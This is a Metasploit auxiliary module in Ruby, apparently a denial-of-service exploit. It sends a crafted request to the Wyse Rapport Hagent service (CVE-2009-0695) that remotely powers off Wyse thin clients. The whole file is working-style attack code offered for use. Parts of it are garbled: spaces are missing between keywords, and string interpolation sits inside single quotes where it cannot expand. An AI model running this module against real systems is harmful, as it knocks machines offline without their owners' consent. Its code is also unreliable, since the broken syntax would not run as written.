require 'msf/core'classMetasploit3< Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
definitialize(info ={})super(update_info(info,'Name'=>'Wyse Machine Remote Power off (DOS)','Description'=>%q{
This module exploits the Wyse Rapport Hagent service and cause
remote power cycle (Power off the wyse machine remotely).},'Stance'=> Msf::Exploit::Stance::Aggressive,'Author'=>'it.solunium@gmail.com','Version'=>'$Revision: 14976 $','References'=>[['CVE','2009-0695'],['OSVDB','55839'],['US-CERT-VU','654545'],['URL','http://snosoft.blogspot.com/'],['URL','http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'],['URL','http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'],['URL','http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'],],'Privileged'=> true,'DefaultOptions'=>{'EXITFUNC'=>'process',},'Targets'=>[['Wyse Linux x86',{'Platform'=>'linux',}],],'DefaultTarget'=>0,'DisclosureDate'=>'Jun 13 2012'))
register_options([
Opt::RPORT(80),], self.class)
end
def run
# Connect to the target service
print_status("Connecting to the target #{rhost}:#{rport}")if connect
print_status("Connected...")
end
# Parameters
genmac ="00"+Rex::Text.rand_text(5).unpack("H*")[0]
craft_req ='&V52&CI=3|'
craft_req <<'MAC=#{genmac}|#{rhost}|'
craft_req <<'RB=0|MT=3|'
craft_req <<'|HS=#{rhost}|PO=#{rport}|'
craft_req <<'SPO=0|'# Send the malicious request
sock.put(craft_req)# Download some response data
resp = sock.get_once(-1,10)
print_status("Received: #{resp}")
disconnect
ifnot resp
print_error("No reply from the target, this may not be a vulnerable system")return
end
if resp =='&00'
print_status("#{rhost} execute command succefuly & power off.")return
end
#Exeptions
rescue ::Rex::ConnectionRefused
print_status("Couldn't connect to #{rhost}:#{rport} | Connection refused.")
rescue ::Rex::HostUnreachable
print_status("Couldn't connect to #{rhost}:#{rport} | Host unreachable")
rescue::Rex::ConnectionTimeout
print_status("Couldn't connect to #{rhost}:#{rport} | Connection time out")
rescue ::Errno::ECONNRESET,::Timeout::Error
print_status("#{rhost} not responding.")
end
end